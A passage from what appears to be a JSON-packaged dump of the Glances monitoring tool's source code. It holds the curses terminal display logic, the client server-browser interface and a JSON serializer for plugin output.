self.display_plugin(stat_display[p], display_optional=plugin_display_optional[p])\n            if p != 'load':\n                # Skip last column\n                self.new_column()\n\n        # Space between column\n        self.space_between_column = 3\n\n        # Backup line position\n        self.saved_line = self.next_line\n\n    def __display_left(self, stat_display):\n        \"\"\"Display the left sidebar in the Curses interface.\"\"\"\n        self.init_column()\n\n        if self.args.disable_left_sidebar:\n            return\n\n        for p in self._left_sidebar:\n            if (hasattr(self.args, 'enable_' + p) or hasattr(self.args, 'disable_' + p)) and p in stat_display:\n                self.new_line()\n                if p == 'sensors':\n                    self.display_plugin(\n                        stat_display['sensors'],\n                        max_y=(self.term_window.getmaxyx()[0] - self.get_stats_display_height(stat_display['now']) - 2),\n                    )\n                else:\n                    self.display_plugin(stat_display[p])\n\n    def __display_right(self, stat_display):\n        \"\"\"Display the right sidebar in the Curses interface.\n\n        docker + processcount + amps + processlist + alert\n        \"\"\"\n        # Do not display anything if space is not available...\n        if self.term_window.getmaxyx()[1] < self._left_sidebar_min_width:\n            return\n\n        # Restore line position\n        self.next_line = self.saved_line\n\n        # Display right sidebar\n        self.new_column()\n        for p in self._right_sidebar():\n            if (hasattr(self.args, 'enable_' + p) or hasattr(self.args, 'disable_' + p)) and p in stat_display:\n                self.new_line()\n                if p in ['processlist', 'programlist']:\n                    p_index = self._right_sidebar().index(p) + 1\n                    self.display_plugin(\n                        stat_display[p],\n                        display_optional=(self.term_window.getmaxyx()[1] > 102),\n                        display_additional=(not MACOS),\n                        max_y=(\n                            self.term_window.getmaxyx()[0]\n                            - sum(\n                                [\n                                    self.get_stats_display_height(stat_display[i])\n                                    for i in self._right_sidebar()[p_index:]\n                                ]\n                            )\n                            - 2\n                        ),\n                    )\n                else:\n                    self.display_plugin(stat_display[p])\n\n    def display_popup(\n        self,\n        message,\n        size_x=None,\n        size_y=None,\n        duration=3,\n        popup_type='info',\n        input_size=30,\n        input_value=None,\n        is_password=False,\n    ):\n        \"\"\"\n        Display a centered popup.\n\n        popup_type: ='info'\n         Just an information popup, no user interaction\n         Display a centered popup with the given message during duration seconds\n         If size_x and size_y: set the popup size\n         else set it automatically\n         Return True if the popup could be displayed\n\n        popup_type='input'\n         Display a centered popup with the given message and a input field\n         If size_x and size_y: set the popup size\n         else set it automatically\n         Return the input string or None if the field is empty\n\n        popup_type='yesno'\n         Display a centered popup with the given message\n         If size_x and size_y: set the popup size\n         else set it automatically\n         Return True (yes) or False (no)\n        \"\"\"\n        # Center the popup\n        sentence_list = message.split('\\n')\n        if size_x is None:\n            size_x = len(max(sentence_list, key=len)) + 4\n            # Add space for the input field\n            if popup_type == 'input':\n                size_x += input_size\n        if size_y is None:\n            size_y = len(sentence_list) + 4\n        screen_x = self.term_window.getmaxyx()[1]\n        screen_y = self.term_window.getmaxyx()[0]\n        if size_x > screen_x or size_y > screen_y:\n            # No size to display the popup => abord\n            return False\n        pos_x = int((screen_x - size_x) / 2)\n        pos_y = int((screen_y - size_y) / 2)\n\n        # Create the popup\n        popup = curses.newwin(size_y, size_x, pos_y, pos_x)\n\n        # Fill the popup\n        popup.border()\n\n        # Add the message\n        for y, m in enumerate(sentence_list):\n            if m:\n                popup.addnstr(2 + y, 2, m, len(m))\n\n        if popup_type == 'info':\n            # Display the popup\n            popup.refresh()\n            self.wait(duration * 1000)\n            return True\n\n        if popup_type == 'input':\n            logger.info(popup_type)\n            logger.info(is_password)\n            # Create a sub-window for the text field\n            sub_pop = popup.derwin(1, input_size, 2, 2 + len(m))\n            sub_pop.attron(self.colors_list['FILTER'])\n            # Init the field with the current value\n            if input_value is not None:\n                sub_pop.addnstr(0, 0, input_value, len(input_value))\n            # Display the popup\n            popup.refresh()\n            sub_pop.refresh()\n            # Create the textbox inside the sub-windows\n            self.set_cursor(2)\n            self.term_window.keypad(1)\n            if is_password:\n                textbox = getpass.getpass('')\n                self.set_cursor(0)\n                if textbox != '':\n                    return textbox\n                return None\n\n            # No password\n            textbox = GlancesTextbox(sub_pop, insert_mode=True)\n            textbox.edit()\n            self.set_cursor(0)\n            if textbox.gather() != '':\n                return textbox.gather()[:-1]\n            return None\n\n        if popup_type == 'yesno':\n            # Create a sub-window for the text field\n            sub_pop = popup.derwin(1, 2, len(sentence_list) + 1, len(m) + 2)\n            sub_pop.attron(self.colors_list['FILTER'])\n            # Init the field with the current value\n            try:\n                sub_pop.addnstr(0, 0, '', 0)\n            except curses.error:\n                pass\n            # Display the popup\n            popup.refresh()\n            sub_pop.refresh()\n            # Create the textbox inside the sub-windows\n            self.set_cursor(2)\n            self.term_window.keypad(1)\n            textbox = GlancesTextboxYesNo(sub_pop, insert_mode=False)\n            textbox.edit()\n            self.set_cursor(0)\n            # self.term_window.keypad(0)\n            return textbox.gather()\n\n        return None\n\n    def setup_upper_left_pos(self, plugin_stats):\n        screen_y, screen_x = self.term_window.getmaxyx()\n\n        if plugin_stats['align'] == 'right':\n            # Right align (last column)\n            display_x = screen_x - self.get_stats_display_width(plugin_stats)\n        else:\n            display_x = self.column\n\n        if plugin_stats['align'] == 'bottom':\n            # Bottom (last line)\n            display_y = screen_y - self.get_stats_display_height(plugin_stats)\n        else:\n            display_y = self.line\n\n        return display_y, display_x\n\n    def get_next_x_and_x_max(self, m, x, x_max):\n        # New column\n        # Python 2: we need to decode to get real screen size because\n        # UTF-8 special tree chars occupy several bytes.\n        # Python 3: strings are strings and bytes are bytes, all is\n        # good.\n        try:\n            x += len(u(m['msg']))\n        except UnicodeDecodeError:\n            # Quick and dirty hack for issue #745\n            pass\n        if x > x_max:\n            x_max = x\n\n        return x, x_max\n\n    def display_stats_with_current_size(self, m, y, x):\n        screen_x = self.term_window.getmaxyx()[1]\n        self.term_window.addnstr(\n            y,\n            x,\n            m['msg'],\n            # Do not display outside the screen\n            screen_x - x,\n            self.colors_list[m['decoration']],\n        )\n\n    def display_stats(self, plugin_stats, init, helper):\n        y, x, x_max = init\n        for m in plugin_stats['msgdict']:\n            # New line\n            try:\n                if m['msg'].startswith('\\n'):\n                    y, x = helper['goto next, add first col'](y, x)\n                    continue\n            except Exception:\n                # Avoid exception (see issue #1692)\n                pass\n            # Do not display outside the screen\n            if x < 0:\n                continue\n            if helper['x overbound?'](m, x):\n                continue\n            if helper['y overbound?'](y):\n                break\n            # If display_optional = False do not display optional stats\n            if helper['display optional?'](m):\n                continue\n            # If display_additional = False do not display additional stats\n            if helper['display additional?'](m):\n                continue\n            # Is it possible to display the stat with the current screen size\n            # !!! Crash if not try/except... Why ???\n            try:\n                self.display_stats_with_current_size(m, y, x)\n            except Exception:\n                pass\n            else:\n                x, x_max = self.get_next_x_and_x_max(m, x, x_max)\n\n        return y, x, x_max\n\n    def display_plugin(self, plugin_stats, display_optional=True, display_additional=True, max_y=65535, add_space=0):\n        \"\"\"Display the plugin_stats on the screen.\n\n        :param plugin_stats:\n        :param display_optional: display the optional stats if True\n        :param display_additional: display additional stats if True\n        :param max_y: do not display line > max_y\n        :param add_space: add x space (line) after the plugin\n        \"\"\"\n        # Exit if:\n        # - the plugin_stats message is empty\n        # - the display tag = False\n        if plugin_stats is None or not plugin_stats['msgdict'] or not plugin_stats['display']:\n            # Exit\n            return 0\n\n        # Get the screen size\n        screen_y, screen_x = self.term_window.getmaxyx()\n\n        # Set the upper/left position of the message\n        display_y, display_x = self.setup_upper_left_pos(plugin_stats)\n\n        helper = {\n            'goto next, add first col': lambda y, x: (y + 1, display_x),\n            'x overbound?': lambda m, x: not m['splittable'] and (x + len(m['msg']) > screen_x),\n            'y overbound?': lambda y: y < 0 or (y + 1 > screen_y) or (y > max_y),\n            'display optional?': lambda m: not display_optional and m['optional'],\n            'display additional?': lambda m: not display_additional and m['additional'],\n        }\n\n        # Display\n        init = display_y, display_x, display_x\n        y, x, x_max = self.display_stats(plugin_stats, init, helper)\n\n        # Compute the next Glances column/line position\n        self.next_column = max(self.next_column, x_max + self.space_between_column)\n        self.next_line = max(self.next_line, y + self.space_between_line)\n\n        # Have empty lines after the plugins\n        self.next_line += add_space\n        return None\n\n    def clear(self):\n        \"\"\"Erase the content of the screen.\n        The difference is that clear() also calls clearok(). clearok()\n        basically tells ncurses to forget whatever it knows about the current\n        terminal contents, so that when refresh() is called, it will actually\n        begin by clearing the entire terminal screen before redrawing any of it.\"\"\"\n        self.term_window.clear()\n\n    def erase(self):\n        \"\"\"Erase the content of the screen.\n        erase() on the other hand, just clears the screen (the internal\n        object, not the terminal screen). When refresh() is later called,\n        ncurses will still compute the minimum number of characters to send to\n        update the terminal.\"\"\"\n        self.term_window.erase()\n\n    def refresh(self):\n        \"\"\"Refresh the windows\"\"\"\n        self.term_window.refresh()\n\n    def flush(self, stats, cs_status=None):\n        \"\"\"Erase and update the screen.\n\n        :param stats: Stats database to display\n        :param cs_status:\n            \"None\": standalone or server mode\n            \"Connected\": Client is connected to the server\n            \"Disconnected\": Client is disconnected from the server\n        \"\"\"\n        # See https://stackoverflow.com/a/43486979/1919431\n        self.erase()\n        self.display(stats, cs_status=cs_status)\n        self.refresh()\n\n    def update(self, stats, duration=3, cs_status=None, return_to_browser=False):\n        \"\"\"Update the screen.\n\n        :param stats: Stats database to display\n        :param duration: duration of the loop\n        :param cs_status:\n            \"None\": standalone or server mode\n            \"Connected\": Client is connected to the server\n            \"Disconnected\": Client is disconnected from the server\n        :param return_to_browser:\n            True: Do not exist, return to the browser list\n            False: Exit and return to the shell\n\n        :return: True if exit key has been pressed else False\n        \"\"\"\n        # Flush display\n        self.flush(stats, cs_status=cs_status)\n\n        # If the duration is < 0 (update + export time > refresh_time)\n        # Then display the interface and log a message\n        if duration <= 0:\n            logger.warning('Update and export time higher than refresh_time.')\n            duration = 0.1\n\n        # Wait duration (in s) time\n        isexitkey = False\n        countdown = Timer(duration)\n        # Set the default timeout (in ms) between two getch\n        self.term_window.timeout(100)\n        while not countdown.finished() and not isexitkey:\n            # Getkey\n            pressedkey = self.__catch_key(return_to_browser=return_to_browser)\n\n            if pressedkey == -1:\n                self.wait()\n                continue\n\n            isexitkey = pressedkey == ord('\\x1b') or pressedkey == ord('q')\n\n            if pressedkey == curses.KEY_F5 or self.pressedkey == 18:\n                # Were asked to refresh (F5 or Ctrl-R)\n                self.clear()\n                return isexitkey\n\n            if pressedkey in (curses.KEY_UP, 65, curses.KEY_DOWN, 66, curses.KEY_LEFT, 68, curses.KEY_RIGHT, 67):\n                # Up of won key pressed, reset the countdown\n                # Better for user experience\n                countdown.reset()\n\n            if isexitkey and self.args.help_tag:\n                # Quit from help should return to main screen, not exit #1874\n                self.args.help_tag = not self.args.help_tag\n                return False\n\n            if not isexitkey and pressedkey > -1:\n                # Redraw display\n                self.flush(stats, cs_status=cs_status)\n                # Overwrite the timeout with the countdown\n                self.wait(delay=int(countdown.get() * 1000))\n\n        return isexitkey\n\n    def wait(self, delay=100):\n        \"\"\"Wait delay in ms\"\"\"\n        curses.napms(delay)\n\n    def get_stats_display_width(self, curse_msg, without_option=False):\n        \"\"\"Return the width of the formatted curses message.\"\"\"\n        try:\n            if without_option:\n                # Size without options\n                c = len(\n                    max(\n                        ''.join(\n                            [\n                                (u(u(nativestr(i['msg'])).encode('ascii', 'replace')) if not i['optional'] else \"\")\n                                for i in curse_msg['msgdict']\n                            ]\n                        ).split('\\n'),\n                        key=len,\n                    )\n                )\n            else:\n                # Size with all options\n                c = len(\n                    max(\n                        ''.join(\n                            [u(u(nativestr(i['msg'])).encode('ascii', 'replace')) for i in curse_msg['msgdict']]\n                        ).split('\\n'),\n                        key=len,\n                    )\n                )\n        except Exception as e:\n            logger.debug(f'ERROR: Can not compute plugin width ({e})')\n            return 0\n        else:\n            return c\n\n    def get_stats_display_height(self, curse_msg):\n        \"\"\"Return the height of the formatted curses message.\n\n        The height is defined by the number of '\\n' (new line).\n        \"\"\"\n        try:\n            c = [i['msg'] for i in curse_msg['msgdict']].count('\\n')\n        except Exception as e:\n            logger.debug(f'ERROR: Can not compute plugin height ({e})')\n            return 0\n        else:\n            return c + 1\n\n\nclass GlancesCursesStandalone(_GlancesCurses):\n    \"\"\"Class for the Glances curse standalone.\"\"\"\n\n    # Default number of processes to displayed is set to 50\n    glances_processes.max_processes = 50\n\n\nclass GlancesCursesClient(_GlancesCurses):\n    \"\"\"Class for the Glances curse client.\"\"\"\n\n    # Default number of processes to displayed is set to 50\n    # For the moment, cursor in client/server mode is not supported see #3221\n    glances_processes.max_processes = 50\n\n\nclass GlancesTextbox(Textbox):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def do_command(self, ch):\n        if ch == 10:  # Enter\n            return 0\n        if ch == 127:  # Back\n            return 8\n        return super().do_command(ch)\n\n\nclass GlancesTextboxYesNo(Textbox):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def do_command(self, ch):\n        return super().do_command(ch)\n"
  },
  {
    "path": "glances/outputs/glances_curses_browser.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Curses browser interface class .\"\"\"\n\nimport curses\nimport math\nimport sys\n\nfrom glances.logger import logger\nfrom glances.outputs.glances_curses import _GlancesCurses\nfrom glances.timer import Timer\n\n\nclass GlancesCursesBrowser(_GlancesCurses):\n    \"\"\"Class for the Glances curse client browser.\"\"\"\n\n    def __init__(self, args=None):\n        \"\"\"Init the father class.\"\"\"\n        super().__init__(args=args)\n\n        _colors_list = {\n            'UNKNOWN': self.colors_list['DEFAULT'],\n            'SNMP': self.colors_list['OK'],\n            'ONLINE': self.colors_list['OK'],\n            'OFFLINE': self.colors_list['CRITICAL'],\n            'PROTECTED': self.colors_list['WARNING'],\n        }\n        self.colors_list.update(_colors_list)\n\n        # First time scan tag\n        # Used to display a specific message when the browser is started\n        self.first_scan = True\n\n        # Init refresh time\n        self.__refresh_time = args.time\n\n        # Init the cursor position for the client browser\n        self.cursor_position = 0\n\n        # Active Glances server number\n        self._active_server = None\n\n        self._current_page = 0\n        self._page_max = 0\n        self._page_max_lines = 0\n\n        self._revesed_sorting = False\n        self._stats_list = None\n\n    @property\n    def active_server(self):\n        \"\"\"Return the active server or None if it's the browser list.\"\"\"\n        return self._active_server\n\n    @active_server.setter\n    def active_server(self, index):\n        \"\"\"Set the active server or None if no server selected.\"\"\"\n        self._active_server = index\n\n    @property\n    def cursor(self):\n        \"\"\"Get the cursor position.\"\"\"\n        return self.cursor_position\n\n    @cursor.setter\n    def cursor(self, position):\n        \"\"\"Set the cursor position.\"\"\"\n        self.cursor_position = position\n\n    def get_pagelines(self, stats):\n        if self._current_page == self._page_max - 1:\n            page_lines = len(stats) % self._page_max_lines\n        else:\n            page_lines = self._page_max_lines\n        return page_lines\n\n    def _get_status_count(self, stats):\n        counts = {}\n        for item in stats:\n            color = item['status']\n            counts[color] = counts.get(color, 0) + 1\n\n        result = ''\n        for key in counts:\n            result += key + ': ' + str(counts[key]) + ' '\n\n        return result\n\n    def _get_stats(self, stats):\n        stats_list = None\n        if self._stats_list is not None:\n            stats_list = self._stats_list\n            stats_list.sort(\n                reverse=self._revesed_sorting,\n                key=lambda x: {'UNKNOWN': 0, 'OFFLINE': 1, 'PROTECTED': 2, 'SNMP': 3, 'ONLINE': 4}.get(x['status'], 99),\n            )\n        else:\n            stats_list = stats\n\n        return stats_list\n\n    def cursor_up(self, stats):\n        \"\"\"Set the cursor to position N-1 in the list.\"\"\"\n        if 0 <= self.cursor_position - 1:\n            self.cursor_position -= 1\n        else:\n            if self._current_page - 1 < 0:\n                self._current_page = self._page_max - 1\n                self.cursor_position = (len(stats) - 1) % self._page_max_lines\n            else:\n                self._current_page -= 1\n                self.cursor_position = self._page_max_lines - 1\n\n    def cursor_down(self, stats):\n        \"\"\"Set the cursor to position N-1 in the list.\"\"\"\n\n        if self.cursor_position + 1 < self.get_pagelines(stats):\n            self.cursor_position += 1\n        else:\n            if self._current_page + 1 < self._page_max:\n                self._current_page += 1\n            else:\n                self._current_page = 0\n            self.cursor_position = 0\n\n    def cursor_pageup(self, stats):\n        \"\"\"Set prev page.\"\"\"\n        if self._current_page - 1 < 0:\n            self._current_page = self._page_max - 1\n        else:\n            self._current_page -= 1\n        self.cursor_position = 0\n\n    def cursor_pagedown(self, stats):\n        \"\"\"Set next page.\"\"\"\n        if self._current_page + 1 < self._page_max:\n            self._current_page += 1\n        else:\n            self._current_page = 0\n        self.cursor_position = 0\n\n    def __catch_key(self, stats):\n        # Catch the browser pressed key\n        self.pressedkey = self.get_key(self.term_window)\n        refresh = False\n        if self.pressedkey != -1:\n            logger.debug(f\"Key pressed. Code={self.pressedkey}\")\n\n        # Actions...\n        if self.pressedkey == ord('\\x1b') or self.pressedkey == ord('q'):\n            # 'ESC'|'q' > Quit\n            self.end()\n            logger.info(\"Stop Glances client browser\")\n            sys.exit(0)\n        elif self.pressedkey == 10:\n            # 'ENTER' > Run Glances on the selected server\n            self.active_server = self._current_page * self._page_max_lines + self.cursor_position\n            logger.debug(f\"Server {self.active_server}/{len(stats)} selected\")\n        elif self.pressedkey == curses.KEY_UP or self.pressedkey == 65:\n            # 'UP' > Up in the server list\n            self.cursor_up(stats)\n            logger.debug(f\"Server {self.cursor + 1}/{len(stats)} selected\")\n        elif self.pressedkey == curses.KEY_DOWN or self.pressedkey == 66:\n            # 'DOWN' > Down in the server list\n            self.cursor_down(stats)\n            logger.debug(f\"Server {self.cursor + 1}/{len(stats)} selected\")\n        elif self.pressedkey == curses.KEY_PPAGE:\n            # 'Page UP' > Prev page in the server list\n            self.cursor_pageup(stats)\n            logger.debug(f\"PageUP: Server ({self._current_page + 1}/{self._page_max}) pages.\")\n        elif self.pressedkey == curses.KEY_NPAGE:\n            # 'Page Down' > Next page in the server list\n            self.cursor_pagedown(stats)\n            logger.debug(f\"PageDown: Server {self._current_page + 1}/{self._page_max} pages\")\n        elif self.pressedkey == ord('1'):\n            self._stats_list = None\n            refresh = True\n        elif self.pressedkey == ord('2'):\n            self._revesed_sorting = False\n            self._stats_list = stats.copy()\n            refresh = True\n        elif self.pressedkey == ord('3'):\n            self._revesed_sorting = True\n            self._stats_list = stats.copy()\n            refresh = True\n\n        if refresh:\n            self._current_page = 0\n            self.cursor_position = 0\n            self.flush(stats)\n\n        # Return the key code\n        return self.pressedkey\n\n    def update(self, stats, duration=3, cs_status=None, return_to_browser=False):\n        \"\"\"Update the servers' list screen.\n\n        Wait for __refresh_time sec / catch key every 100 ms.\n\n        :param stats: Dict of dict with servers stats\n        :param cs_status:\n        :param duration:\n        :param return_to_browser:\n        \"\"\"\n        # Flush display\n        logger.debug(f'Servers list: {stats}')\n        self.flush(stats)\n\n        # Wait\n        exitkey = False\n        countdown = Timer(self.__refresh_time)\n        while not countdown.finished() and not exitkey:\n            # Getkey\n            pressedkey = self.__catch_key(stats)\n            # Is it an exit or select server key ?\n            exitkey = pressedkey == ord('\\x1b') or pressedkey == ord('q') or pressedkey == 10\n            if not exitkey and pressedkey > -1:\n                # Redraw display\n                self.flush(stats)\n            # Wait 100ms...\n            self.wait()\n\n        return self.active_server\n\n    def flush(self, stats):\n        \"\"\"Update the servers' list screen.\n\n        :param stats: List of dict with servers stats\n        \"\"\"\n        self.erase()\n        self.display(stats)\n\n    def display(self, stats, cs_status=None):\n        \"\"\"Display the servers list.\n\n        :return: True if the stats have been displayed else False (no server available)\n        \"\"\"\n        # Init the internal line/column for Glances Curses\n        self.init_line_column()\n\n        # Get the current screen size\n        screen_x = self.screen.getmaxyx()[1]\n        screen_y = self.screen.getmaxyx()[0]\n        stats_max = screen_y - 3\n        self._page_max_lines = stats_max\n        self._page_max = int(math.ceil(len(stats) / stats_max))\n\n        # Display header\n        x, y = self.__display_header(stats, 0, 0, screen_x, screen_y)\n\n        # Display Glances server list\n        # ================================\n        return self.__display_server_list(stats, x, y, screen_x, screen_y)\n\n    def __display_header(self, stats, x, y, screen_x, screen_y):\n        stats_len = len(stats)\n        stats_max = screen_y - 3\n        if stats_len == 0:\n            if self.first_scan and not self.args.disable_autodiscover:\n                msg = 'Glances is scanning your network. Please wait...'\n                self.first_scan = False\n            else:\n                msg = 'No Glances server available'\n        elif len(stats) == 1:\n            msg = 'One Glances server available'\n        else:\n            msg = f'{stats_len} Glances servers available'\n        # if self.args.disable_autodiscover:\n        #     msg += ' (auto discover is disabled)'\n        if screen_y > 1:\n            self.term_window.addnstr(y, x, msg, screen_x - x, self.colors_list['TITLE'])\n\n            msg = f'{self._get_status_count(stats)}'\n            self.term_window.addnstr(y + 1, x, msg, screen_x - x)\n\n        if stats_len > stats_max and screen_y > 2:\n            page_lines = self.get_pagelines(stats)\n            status_count = self._get_status_count(stats)\n            msg = f'{page_lines} servers displayed.({self._current_page + 1}/{self._page_max}) {status_count}'\n            self.term_window.addnstr(y + 1, x, msg, screen_x - x)\n\n        return x, y\n\n    def __build_column_def(self, current_page):\n        \"\"\"Define the column and it size to display in the browser\"\"\"\n        column_def = {'name': 16, 'ip': 15, 'status': 9, 'protocol': 8}\n\n        # Add dynamic columns\n        for server_stat in current_page:\n            for k, v in server_stat.items():\n                if k.endswith('_decoration'):\n                    column_def[k.split('_decoration')[0]] = 6\n        return column_def\n\n    def __display_table_header(self, column_def, x, y, screen_x, screen_y):\n        \"\"\"Display the two-row table header (plugin name row + key row).\n\n        :return: y position after the header\n        \"\"\"\n        xc = x + 2\n        # First line: plugin name (only for compound keys like 'cpu_percent')\n        for k, v in column_def.items():\n            k_split = k.split('_')\n            if len(k_split) > 1 and xc < screen_x and y < screen_y and v is not None:\n                self.term_window.addnstr(y, xc, k_split[0].upper(), screen_x - x, self.colors_list['BOLD'])\n            xc += v + self.space_between_column\n        y += 1\n\n        # Second line: column key / sub-key\n        xc = x + 2\n        for k, v in column_def.items():\n            if xc >= screen_x or y >= screen_y or v is None:\n                xc += v + self.space_between_column\n                continue\n            k_split = k.split('_')\n            header_str = k_split[0] if len(k_split) == 1 else ' '.join(k_split[1:])\n            self.term_window.addnstr(y, xc, header_str.upper(), screen_x - x, self.colors_list['BOLD'])\n            xc += v + self.space_between_column\n        return y + 1\n\n    def __get_cell_decoration(self, server_stat, k):\n        \"\"\"Return the curses color attribute for a given server stat cell.\"\"\"\n        if k == 'status':\n            return self.colors_list[server_stat['status']]\n        decoration_key = k + '_decoration'\n        if decoration_key in server_stat:\n            color_name = server_stat[decoration_key].replace('_LOG', '')\n            return self.colors_list.get(color_name, self.colors_list['DEFAULT'])\n        return self.colors_list.get(self.colors_list[server_stat['status']], self.colors_list['DEFAULT'])\n\n    def __display_server_row(self, server_stat, column_def, x, y, screen_x, screen_y, line):\n        \"\"\"Display one server row; draw the cursor indicator if the line is selected.\"\"\"\n        xc = x\n        if line == self.cursor:\n            self.term_window.addnstr(y, xc, \">\", screen_x - xc, self.colors_list['BOLD'])\n        xc += 2\n        for k, v in column_def.items():\n            if xc >= screen_x or y >= screen_y:\n                xc += v + self.space_between_column\n                continue\n            value = server_stat.get(k, '?')\n            if isinstance(value, float):\n                value = round(value, 1)\n            if k == 'name' and server_stat.get('alias') is not None:\n                value = server_stat['alias']\n            decoration = self.__get_cell_decoration(server_stat, k)\n            self.term_window.addnstr(y, xc, format(value), v, decoration)\n            xc += v + self.space_between_column\n\n    def __display_server_list(self, stats, x, y, screen_x, screen_y):\n        if not stats:\n            return False\n\n        stats_list = self._get_stats(stats)\n        start_line = self._page_max_lines * self._current_page\n        current_page = stats_list[start_line : start_line + self.get_pagelines(stats_list)]\n        column_def = self.__build_column_def(current_page)\n\n        y = self.__display_table_header(column_def, x, 2, screen_x, screen_y)\n\n        # Clamp cursor to valid range after a server is removed\n        self.cursor = min(self.cursor, len(stats) - 1)\n\n        stats_max = screen_y - 3\n        for line, server_stat in enumerate(current_page):\n            if line >= stats_max:\n                break\n            self.__display_server_row(server_stat, column_def, x, y, screen_x, screen_y, line)\n            y += 1\n\n        return True\n"
  },
  {
    "path": "glances/outputs/glances_json_serializer.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"JSON serialization utilities for Glances output layer.\"\"\"\n\nfrom datetime import datetime\nfrom typing import Any\n\nfrom glances.globals import json_dumps, json_loads\nfrom glances.logger import logger\n\n\nclass PluginSerializationError:\n    \"\"\"Represents a serialization error for a plugin.\"\"\"\n\n    def __init__(self, plugin_name: str, error_message: str):\n        self.plugin_name = plugin_name\n        self.error_message = error_message\n\n    def to_dict(self) -> dict[str, Any]:\n        return {\n            \"error\": True,\n            \"plugin\": self.plugin_name,\n            \"message\": self.error_message,\n        }\n\n\nclass GlancesJSONSerializer:\n    \"\"\"Serializer that produces consistent, valid JSON output from plugin data.\"\"\"\n\n    def __init__(self, include_errors: bool = True, include_metadata: bool = False):\n        \"\"\"\n        Initialize the JSON serializer.\n\n        Args:\n            include_errors: If True, include error information for failed plugins.\n            include_metadata: If True, include metadata like timestamp.\n        \"\"\"\n        self.include_errors = include_errors\n        self.include_metadata = include_metadata\n\n    def normalize_value(self, value: Any) -> Any:\n        \"\"\"Normalize a value to be JSON-serializable.\"\"\"\n        if value is None:\n            return None\n\n        if isinstance(value, bytes):\n            return value.decode('utf-8', errors='replace')\n\n        if isinstance(value, datetime):\n            return value.isoformat()\n\n        if isinstance(value, (int, float, str, bool)):\n            return value\n\n        if isinstance(value, dict):\n            return {str(k): self.normalize_value(v) for k, v in value.items()}\n\n        if isinstance(value, (list, tuple)):\n            return [self.normalize_value(item) for item in value]\n\n        if hasattr(value, '_asdict'):\n            return self.normalize_value(value._asdict())\n\n        return str(value)\n\n    def serialize_plugin_data(self, plugin_name: str, raw_data: Any) -> dict[str, Any] | list[Any] | str | None:\n        \"\"\"\n        Serialize plugin data to a JSON-compatible format.\n\n        Args:\n            plugin_name: Name of the plugin.\n            raw_data: Raw data from the plugin (can be bytes, dict, list, etc.).\n\n        Returns:\n            JSON-compatible data structure, or error dict if serialization fails.\n        \"\"\"\n        try:\n            if raw_data is None:\n                return None\n\n            if isinstance(raw_data, bytes):\n                decoded = raw_data.decode('utf-8', errors='replace')\n                try:\n                    return json_loads(decoded)\n                except Exception:\n                    return self.normalize_value(decoded)\n\n            return self.normalize_value(raw_data)\n\n        except Exception as e:\n            logger.debug(f\"Error serializing plugin {plugin_name}: {e}\")\n            if self.include_errors:\n                return PluginSerializationError(plugin_name, str(e)).to_dict()\n            return None\n\n    def serialize_plugins(self, stats: Any, plugin_list: list[str] | None = None) -> dict[str, Any]:\n        \"\"\"\n        Serialize data from multiple plugins into a single JSON object.\n\n        Args:\n            stats: The GlancesStats object.\n            plugin_list: List of plugin names to include. If None, includes all enabled.\n\n        Returns:\n            Dictionary containing all plugin data.\n        \"\"\"\n        result: dict[str, Any] = {}\n        errors: list[dict[str, Any]] = []\n\n        if plugin_list is None:\n            plugin_list = stats.getPluginsList()\n\n        for plugin_name in plugin_list:\n            plugin_data = self._get_plugin_data(stats, plugin_name)\n            if plugin_data is not None:\n                if isinstance(plugin_data, dict) and plugin_data.get(\"error\"):\n                    errors.append(plugin_data)\n                else:\n                    result[plugin_name] = plugin_data\n\n        if self.include_metadata:\n            result[\"_metadata\"] = {\n                \"timestamp\": datetime.now().isoformat(),\n                \"plugin_count\": len(result),\n            }\n\n        if self.include_errors and errors:\n            result[\"_errors\"] = errors\n\n        return result\n\n    def _get_plugin_data(self, stats: Any, plugin_name: str) -> Any:\n        \"\"\"Get and serialize data from a single plugin.\"\"\"\n        try:\n            if plugin_name not in stats.getPluginsList():\n                return None\n\n            plugin = stats.get_plugin(plugin_name)\n            if plugin is None or not plugin.is_enabled():\n                return None\n\n            json_data = plugin.get_json()\n            return self.serialize_plugin_data(plugin_name, json_data)\n\n        except Exception as e:\n            logger.debug(f\"Error getting data from plugin {plugin_name}: {e}\")\n            if self.include_errors:\n                return PluginSerializationError(plugin_name, str(e)).to_dict()\n            return None\n\n    def to_json_string(self, data: Any) -> str:\n        \"\"\"Convert data to a JSON string.\"\"\"\n        try:\n            result = json_dumps(data)\n            if isinstance(result, bytes):\n                return result.decode('utf-8')\n            return result\n        except Exception as e:\n            logger.error(f\"Error converting to JSON string: {e}\")\n            return '{\"error\": \"Failed to serialize data\"}'\n\n    def serialize_to_string(self, stats: Any, plugin_list: list[str] | None = None) -> str:\n        \"\"\"\n        Serialize plugins to a JSON string.\n\n        Args:\n            stats: The GlancesStats object.\n            plugin_list: List of plugin names to include.\n\n        Returns:\n            JSON string containing all plugin data.\n        \"\"\"\n        data = self.serialize_plugins(stats, plugin_list)\n        return self.to_json_string(data)\n"
  },
  {
    "path": "glances/outputs/glances_mcp.py",
